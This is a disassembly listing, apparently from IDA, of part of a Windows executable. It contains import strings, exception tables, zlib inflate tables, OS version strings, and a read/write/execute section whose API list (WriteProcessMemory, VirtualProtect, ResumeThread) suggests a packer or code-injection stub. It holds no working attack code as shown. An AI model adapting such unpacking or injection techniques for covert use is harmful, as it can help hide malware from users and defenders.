aGetmodulehan_0 db 'GetModuleHandleA',0 ; DATA XREF: _7:00511354o
align 10h
aGetmodulehan_1 db 'GetModuleHandleW',0 ; DATA XREF: _7:0051135Co
align 4
aGetmodulefil_1 db 'GetModuleFileNameA',0 ; DATA XREF: _7:005113ACo
align 4
aGetmodulefil_2 db 'GetModuleFileNameW',0 ; DATA XREF: _7:005113B4o
align 4
aGetlongpathn_1 db 'GetLongPathNameA',0 ; DATA XREF: _7:005113BCo
align 10h
aGetlongpathn_2 db 'GetLongPathNameW',0 ; DATA XREF: _7:005113C4o
align 4
aSearchpathw db 'SearchPathW',0 ; DATA XREF: sub_50A226+B2o
; _7:00511364o
aSearchpatha_0 db 'SearchPathA',0 ; DATA XREF: sub_50A1C7+Do
; _7:0051136Co
aAddfontresou_0 db 'AddFontResourceA',0 ; DATA XREF: sub_50B23E+Ao
; _7:005113CCo
align 10h
aRemovefontre_0 db 'RemoveFontResourceA',0 ; DATA XREF: sub_50B277+Ao
; _7:005113D4o
aFindfirstfil_1 db 'FindFirstFileA',0 ; DATA XREF: _7:005112FCo
align 4
aFindfirstfilew db 'FindFirstFileW',0 ; DATA XREF: sub_50A361+92o
; _7:00511304o
align 4
aFindclose_0 db 'FindClose',0
align 10h
aFindnextfile_1 db 'FindNextFileA',0 ; DATA XREF: _7:0051131Co
align 10h
aFindnextfilew db 'FindNextFileW',0 ; DATA XREF: sub_50A657+2Eo
; _7:00511324o
align 10h
aFindfirstfilee db 'FindFirstFileExW',0 ; DATA XREF: sub_50A4AA+92o
; _7:0051130Co
align 4
a_lopen db '_lopen',0 ; DATA XREF: sub_50B636+25o
; _7:00511334o
align 4
aOpenfile db 'OpenFile',0 ; DATA XREF: sub_50B582+93o
; _7:0051132Co
align 4
a_lread db '_lread',0 ; DATA XREF: sub_50B711+27o
; _7:00511344o
align 10h
a_llseek db '_llseek',0 ; DATA XREF: sub_50B6CC+20o
; _7:0051134Co
a_lclose db '_lclose',0 ; DATA XREF: sub_50B677+23o
; _7:0051133Co
aCocreateinstan db 'CoCreateInstance',0 ; DATA XREF: sub_509518+C7o
; _7:005113E4o
align 4
aCocreateinst_0 db 'CoCreateInstanceEx',0 ; DATA XREF: sub_509789+73o
; _7:005113ECo
align 4
aCogetclassobje db 'CoGetClassObject',0 ; DATA XREF: sub_5098C0+ACo
; _7:005113F4o
align 4
aGetprivatepr_2 db 'GetPrivateProfileStringA',0 ; DATA XREF: _7:00511374o
align 4
aGetprivatepr_3 db 'GetPrivateProfileIntA',0 ; DATA XREF: _7:0051137Co
align 10h
aGetprivatepr_4 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _7:00511384o
align 10h
aGetprivatepr_5 db 'GetPrivateProfileSectionA',0 ; DATA XREF: _7:0051138Co
align 4
aGetfileinfor_0 db 'GetFileInformationByHandle',0 ; DATA XREF: _7:00511394o
align 4
aLockfile_0 db 'LockFile',0 ; DATA XREF: _7:0051139Co
align 4
aLockfileex db 'LockFileEx',0
align 10h
aUnlockfile_0 db 'UnlockFile',0 ; DATA XREF: _7:005113A4o
align 4
aUnlockfileex db 'UnlockFileEx',0
align 4
aGetrecordinf_0 db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_509A34+D2o
; _7:005113FCo
align 4
aGetrecordinfof db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_5099C5+35o
align 10h
aLoadregtypelib db 'LoadRegTypeLib',0 ; DATA XREF: sub_509B3C+84o
; _7:00511404o
align 10h
aLoadtypelib db 'LoadTypeLib',0 ; DATA XREF: sub_509A34+74o
; sub_509B3C+4Fo
align 10h
dword_50EA00 dd 0FFFFFFFFh, 50A115h, 50A119h, 0FFFFFFFFh, 50A129h, 50A12Dh
; DATA XREF: sub_50A0C8+5o
dd 0FFFFFFFFh, 50A14Ah, 50A14Eh, 0FFFFFFFFh, 50A15Eh, 50A162h
dd 0FFFFFFFFh, 50A183h, 50A187h, 0FFFFFFFFh, 50A197h, 50A19Bh
dword_50EA48 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A226+5o
dd offset loc_50A311
align 8
dword_50EA58 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A361+5o
dd offset sub_50A480
align 8
dword_50EA68 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A4AA+5o
dd offset sub_50A5D5
align 8
dword_50EA78 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A7DD+5o
dd offset sub_50A886
align 8
dword_50EA88 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50A8AA+5o
dd offset sub_50A9C8
align 8
dword_50EA98 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AB3D+5o
dd offset sub_50AC33
align 8
dword_50EAA8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AEAA+5o
dd offset loc_50AF44
align 8
dword_50EAB8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50AFC6+5o
dd offset sub_50B052
align 8
dword_50EAC8 dd 0FFFFFFFFh, 50B0E2h, 50B0E6h, 0FFFFFFFFh, 0 ; DATA XREF: sub_50B076+5o
dd offset sub_50B15D
dword_50EAE0 dd 0FFFFFFFFh, 50B1C4h, 50B1C8h, 0 ; DATA XREF: sub_50B18D+5o
dword_50EAF0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_50B2FE+5o
dd offset sub_50B3B1
dword_50EAFC dd 0 ; DATA XREF: sub_4FCA80+57o
; sub_4FCDBF+52o
dword_50EB00 dd 2 dup(0) ; DATA XREF: sub_4FCA80+36o
; sub_4FCDBF+39o
dword_50EB08 dd 0FFFFFFFFh, 4FCB90h, 4FCB94h, 0FFFFFFFFh, 4FCC44h, 4FCC48h
; DATA XREF: sub_4FCA80+5o
dword_50EB20 dd 0FFFFFFFFh, 4FCEB8h, 4FCEBCh, 10EB68h, 2 dup(0)
; DATA XREF: sub_4FCDBF+5o
dd 10ECB8h, 10E000h, 10EBB8h, 2 dup(0)
dd 10ECEEh, 10E050h, 5 dup(0)
dd 10EBC4h, 10EBE0h, 10EBF2h, 10EBFEh, 10EC10h, 10EC1Eh
dd 10EC32h, 10EC4Ah, 10EC62h, 10EC76h, 10EC86h, 10EC9Ch
dd 10ED52h, 10ED42h, 10ED32h, 10ECFAh, 10ED06h, 10ED1Ch
dd 10ED64h, 0
dd 10ECC6h, 10ECD8h, 0
db 19h
db 2, 49h, 6Eh
aItializecrit_0 db 'itializeCriticalSection',0
dd 65470198h, 6F725074h, 64644163h, 73736572h, 2520000h
dd 61636F4Ch, 6572466Ch, 29B0065h, 73696152h, 63784565h
dd 69747065h, 6E6Fh, 6F4C024Eh, 416C6163h, 636F6C6Ch, 1770000h
dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 2470000h
aLeavecritica_1 db 'LeaveCriticalSection',0
align 2
aP_1 db '',0
aEntercritica_1 db 'EnterCriticalSection',0
align 2
dw 1ADh
aGetshortpathna db 'GetShortPathNameA',0
dw 2C5h
aResumethread db 'ResumeThread',0
align 2
dw 39Dh
aWriteprocessme db 'WriteProcessMemory',0
align 4
db 90h
db 1, 47h, 65h
aTprivateprofil db 'tPrivateProfileSectionA',0
aKernel32_dll_2 db 'KERNEL32.dll',0
align 2
aO_2 db '',0
aDefwindowpro_0 db 'DefWindowProcA',0
align 4
db 2
align 2
aAdjustwindowre db 'AdjustWindowRectEx',0
align 2
aUser32_dll_2 db 'USER32.dll',0
align 2
retf 5202h
; ---------------------------------------------------------------------------
aTlunwind db 'tlUnwind',0
dw 387h
aWidechartomu_0 db 'WideCharToMultiByte',0
db 6Bh ; k
db 2, 4Dh, 75h
aLtibytetowidec db 'ltiByteToWideChar',0
dw 23Ah
aLcmapstringa db 'LCMapStringA',0
align 2
dw 23Bh
aLcmapstringw db 'LCMapStringW',0
align 2
dw 1B2h
aGetstringtypea db 'GetStringTypeA',0
align 4
dd 654701B5h, 72745374h, 54676E69h, 57657079h
db 2 dup(0)
_6 ends
; Section 8. (virtual address 0010F000)
; Virtual size : 00007110 ( 28944.)
; Section size in file : 00007110 ( 28944.)
; Offset to raw data for section: 0010F000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_7 segment para public 'CODE' use32
assume cs:_7
;org 50F000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
aInvalidBitLeng db 'invalid bit length repeat',0 ; DATA XREF: sub_50BC4B+81Do
align 4
aTooManyLengthO db 'too many length or distance symbols',0 ; DATA XREF: sub_50BC4B+783o
aInvalidStoredB db 'invalid stored block lengths',0 ; DATA XREF: sub_50BC4B+6CCo
align 10h
aInvalidBlockTy db 'invalid block type',0 ; DATA XREF: sub_50BC4B+66Bo
align 4
aInvalidDistanc db 'invalid distance code',0 ; DATA XREF: sub_50C61A+4BBo
; sub_50CBEB+23Eo
align 4
aInvalidLiteral db 'invalid literal/length code',0 ; DATA XREF: sub_50C61A+486o
; sub_50CBEB+28Do
byte_50F0A8 db 31h ; DATA XREF: sub_50CF41+15r
; sub_50D9F3+2Fo
db 2Eh, 31h, 2Eh
dd 34h
aNeedDictionary db 'need dictionary',0 ; DATA XREF: sub_50D043+307o
aIncorrectDataC db 'incorrect data check',0 ; DATA XREF: sub_50D043+230o
align 4
aIncorrectHeade db 'incorrect header check',0 ; DATA XREF: sub_50D043+ECo
align 10h
aInvalidWindowS db 'invalid window size',0 ; DATA XREF: sub_50D043+9Co
aUnknownCompres db 'unknown compression method',0 ; DATA XREF: sub_50D043+79o
align 10h
dword_50F120 dd 9 ; DATA XREF: sub_50D8AF+6r
dword_50F124 dd 5 ; DATA XREF: sub_50D8AF+11r
dword_50F128 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh
; DATA XREF: sub_50D8AF+1Co
dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h
dd 800h, 20h, 900h, 0A0h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h
dd 0A1h, 800h, 0
dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h
dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4
dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h
dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h
dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h
dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h
dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch
dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch
dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h
dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh
dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah
dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah
dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h
dd 800h, 16h, 8C0h, 0
dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh
dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h
dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh
dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh
dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh
dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h
dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h
dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h
dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h
dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h
dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h
dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h
dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h
dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h
dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h
dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h
dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h
dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h
dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h
dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h
dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h
dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h
dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h
dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h
dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh
dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h
dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh
dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh
dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh
dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh
dword_510128 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5
; DATA XREF: sub_50D8AF+25o
dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h
dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h
dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h
dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4
dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah
dd 0C01h, 556h, 0C1h, 5C0h, 6001h
aIncompleteDyna db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_50D3A6+66o
aOversubscribed db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_50D3A6+4Eo
aIncompleteLite db 'incomplete literal/length tree',0 ; DATA XREF: sub_50D7AC:loc_50D891o
align 4
aOversubscrib_1 db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_50D7AC+D7o
align 4
aEmptyDistanceT db 'empty distance tree with lengths',0 ; DATA XREF: sub_50D7AC:loc_50D875o
align 4
aIncompleteDist db 'incomplete distance tree',0 ; DATA XREF: sub_50D7AC+BBo
align 4
aOversubscrib_0 db 'oversubscribed distance tree',0 ; DATA XREF: sub_50D7AC+ADo
align 4
dword_510318 dd 0 ; DATA XREF: sub_50BC4B:loc_50C07Fr
; sub_50BC4B+4C0r ...
dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh
dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh
aGetcurrentproc db 'GetCurrentProcess',0 ; DATA XREF: sub_4FD2E0+1E4o
; sub_4FE2E0+16Bo
align 10h
aFlushinstructi db 'FlushInstructionCache',0 ; DATA XREF: sub_4FD2E0:loc_4FD4B0o
align 4
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_4FD2E0+1ABo
; sub_4FDDD0+1Do ...
align 4
aBarier db 'BARIER',0 ; DATA XREF: sub_4FD2E0+4Co
align 10h
aWindowsntUnkno db 'WindowsNT(unknown)',0 ; DATA XREF: _5:loc_4FE1D5o
; _5:loc_4FE1E1o
align 4
aWindows_net db 'Windows.NET',0 ; DATA XREF: _5:004FE1C9o
aWindowsxp db 'WindowsXP',0 ; DATA XREF: _5:004FE1B1o
align 4
aWindows2000 db 'Windows2000',0 ; DATA XREF: _5:004FE199o
aWindowsnt4_0 db 'WindowsNT(4.0)',0 ; DATA XREF: _5:004FE175o
align 4
aWindowsnt3_51 db 'WindowsNT(3.51)',0 ; DATA XREF: _5:004FE15Ao
aWindows9xUnkno db 'Windows9x(unknown)',0 ; DATA XREF: _5:loc_4FE13Fo
align 4
aWindowsme db 'WindowsMe',0 ; DATA XREF: _5:004FE133o
align 4
aWindows98 db 'Windows98',0 ; DATA XREF: _5:004FE11Bo
align 4
aWindows95 db 'Windows95',0 ; DATA XREF: _5:004FE103o
align 10h
aWin32s db 'win32s',0 ; DATA XREF: _5:loc_4FE0E8o
align 4
aVirtualalloc db 'VirtualAlloc',0 ; DATA XREF: _5:loc_4FDE99o
; sub_4FE2E0+52Bo
align 4
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_4FE2E0+86Do
align 4
aPostmessagea db 'PostMessageA',0 ; DATA XREF: sub_4FE2E0+859o
align 4
aDefwindowproca db 'DefWindowProcA',0 ; DATA XREF: sub_4FE2E0+845o
align 4
aEnumwindows db 'EnumWindows',0 ; DATA XREF: sub_4FE2E0+831o
aDestroywindo_0 db 'DestroyWindow',0 ; DATA XREF: sub_4FE2E0+81Do
align 4
aDispatchmessag db 'DispatchMessageA',0 ; DATA XREF: sub_4FE2E0+809o
align 4
aTranslatemessa db 'TranslateMessage',0 ; DATA XREF: sub_4FE2E0+7F5o
align 4
aGetmessagea db 'GetMessageA',0 ; DATA XREF: sub_4FE2E0+7E1o
aCreatewindowex db 'CreateWindowExA',0 ; DATA XREF: sub_4FE2E0+7CDo
aGetsystemmetri db 'GetSystemMetrics',0 ; DATA XREF: sub_4FE2E0+7B9o
align 4
aRegisterclasse db 'RegisterClassExA',0 ; DATA XREF: sub_4FE2E0+7A5o
align 10h
aSetforegroundw db 'SetForegroundWindow',0 ; DATA XREF: sub_4FE2E0+791o
aSetactivewindo db 'SetActiveWindow',0 ; DATA XREF: sub_4FE2E0+77Do
aGetwindowthrea db 'GetWindowThreadProcessId',0 ; DATA XREF: sub_4FE2E0+769o
align 10h
aBitblt_0 db 'BitBlt',0 ; DATA XREF: sub_4FE2E0+755o
align 4
aDeleteobject_0 db 'DeleteObject',0 ; DATA XREF: sub_4FE2E0+741o
align 4
aSelectobject_0 db 'SelectObject',0 ; DATA XREF: sub_4FE2E0+72Do
align 4
aGetobjecta db 'GetObjectA',0 ; DATA XREF: sub_4FE2E0+719o
align 4
aEndpaint db 'EndPaint',0 ; DATA XREF: sub_4FE2E0+705o
align 10h
aBeginpaint db 'BeginPaint',0 ; DATA XREF: sub_4FE2E0+6F1o
align 4
aRemovefontreso db 'RemoveFontResourceA',0 ; DATA XREF: sub_4FE2E0+6DDo
aDeletedc_0 db 'DeleteDC',0 ; DATA XREF: sub_4FE2E0+6C9o
align 4
aCreatedibsec_0 db 'CreateDIBSection',0 ; DATA XREF: sub_4FE2E0+6B5o
align 10h
aCreatecompat_0 db 'CreateCompatibleDC',0 ; DATA XREF: sub_4FE2E0+6A1o
align 4
aAddfontresourc db 'AddFontResourceA',0 ; DATA XREF: sub_4FE2E0:loc_4FE96Do
align 4
aGdi32_dll_0 db 'gdi32.dll',0 ; DATA XREF: sub_4FE2E0+668o
align 4
aWvsprintfa db 'wvsprintfA',0 ; DATA XREF: sub_4FE2E0+654o
align 10h
aWsprintfa_0 db 'wsprintfA',0 ; DATA XREF: sub_4FE2E0+640o
align 4
aMessageboxa_0 db 'MessageBoxA',0 ; DATA XREF: sub_4FE2E0+62Co
aLoadimagea db 'LoadImageA',0 ; DATA XREF: sub_4FE2E0+618o
align 4
aCharupperbuffa db 'CharUpperBuffA',0 ; DATA XREF: sub_4FE2E0+604o
align 4
aChangedisplays db 'ChangeDisplaySettingsA',0 ; DATA XREF: sub_4FE2E0:loc_4FE8D0o
align 4
aUser32_dll_1 db 'user32.dll',0 ; DATA XREF: sub_4FE2E0+5CBo
align 4
aLstrcmpia db 'lstrcmpiA',0 ; DATA XREF: sub_4FE2E0+5B7o
align 4
aWritefile db 'WriteFile',0 ; DATA XREF: sub_4FE2E0+5A3o
; sub_509F43+153o
align 10h
aWidechartomult db 'WideCharToMultiByte',0 ; DATA XREF: sub_4FE2E0+58Fo
aWaitforsingleo db 'WaitForSingleObject',0 ; DATA XREF: sub_4FE2E0+57Bo
; sub_507494+1D4o
aVirtualquery db 'VirtualQuery',0 ; DATA XREF: sub_4FE2E0+567o
align 4
aVirtualprotect db 'VirtualProtect',0 ; DATA XREF: sub_4FE2E0+553o
align 4
aVirtualfree db 'VirtualFree',0 ; DATA XREF: sub_4FE2E0+53Fo
aUnmapviewoffil db 'UnmapViewOfFile',0 ; DATA XREF: sub_4FE2E0+517o
aUnlockfile db 'UnlockFile',0 ; DATA XREF: sub_4FE2E0+503o
align 10h
aTerminateproce db 'TerminateProcess',0 ; DATA XREF: sub_4FE2E0+4EFo
align 4
aSleep db 'Sleep',0 ; DATA XREF: sub_4FE2E0+4DBo
; sub_507494+25Eo
align 4
aSetunhandledex db 'SetUnhandledExceptionFilter',0 ; DATA XREF: sub_4FE2E0+4C7o
aSetlasterror db 'SetLastError',0 ; DATA XREF: sub_4FE2E0+4B3o
align 4
aSetfilepointer db 'SetFilePointer',0 ; DATA XREF: sub_4FE2E0+49Fo
align 4
aSetevent db 'SetEvent',0 ; DATA XREF: sub_4FE2E0+48Bo
align 4
aSetenvironment db 'SetEnvironmentVariableA',0 ; DATA XREF: sub_4FE2E0+477o
aReadfile_0 db 'ReadFile',0 ; DATA XREF: sub_4FE2E0+463o
align 4
aRaiseexception db 'RaiseException',0 ; DATA XREF: sub_4FE2E0+44Fo
align 4
aOpenprocess db 'OpenProcess',0 ; DATA XREF: sub_4FE2E0+43Bo
; sub_507494+230o
aMultibytetowid db 'MultiByteToWideChar',0 ; DATA XREF: sub_4FE2E0+427o
aMapviewoffile db 'MapViewOfFile',0 ; DATA XREF: sub_4FE2E0+413o
align 4
aLockfile db 'LockFile',0 ; DATA XREF: sub_4FE2E0+3FFo
align 4
aLocalfree db 'LocalFree',0 ; DATA XREF: sub_4FE2E0+3EBo
align 10h
aLocalalloc db 'LocalAlloc',0 ; DATA XREF: sub_4FE2E0+3D7o
align 4
aLoadlibraryexa db 'LoadLibraryExA',0 ; DATA XREF: sub_4FE2E0+3C3o
align 4
aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_4FE2E0+3AFo
align 4
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_4FE2E0+39Bo
align 4
aDeletecritical db 'DeleteCriticalSection',0 ; DATA XREF: sub_4FE2E0+387o
align 4
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_4FE2E0+373o
align 4
aHeapcreate db 'HeapCreate',0 ; DATA XREF: sub_4FE2E0+35Fo
align 4
aHeapfree db 'HeapFree',0 ; DATA XREF: sub_4FE2E0+34Bo
align 10h
aHeapalloc db 'HeapAlloc',0 ; DATA XREF: sub_4FE2E0+337o
align 4
aGettickcount db 'GetTickCount',0 ; DATA XREF: sub_4FE2E0+323o
align 4
aGetversionexa db 'GetVersionExA',0 ; DATA XREF: sub_4FE2E0+30Fo
align 4
aGettemppatha db 'GetTempPathA',0 ; DATA XREF: sub_4FE2E0+2FBo
; sub_507494+92o
align 4
aGettempfilenam db 'GetTempFileNameA',0 ; DATA XREF: sub_4FE2E0+2E7o
align 10h
aGetsystemtimea db 'GetSystemTimeAsFileTime',0 ; DATA XREF: sub_4FE2E0+2D3o
aGetprocaddress db 'GetProcAddress',0 ; DATA XREF: sub_4FE2E0+2BFo
align 4
aGetprivatepr_1 db 'GetPrivateProfileStringA',0 ; DATA XREF: sub_4FE2E0+2ABo
align 4
aGetprivatepr_0 db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: sub_4FE2E0+297o
align 4
aGetprivateprof db 'GetPrivateProfileIntA',0 ; DATA XREF: sub_4FE2E0+283o
align 4
aGetmodulehandl db 'GetModuleHandleA',0 ; DATA XREF: sub_4FE2E0+26Fo
align 10h
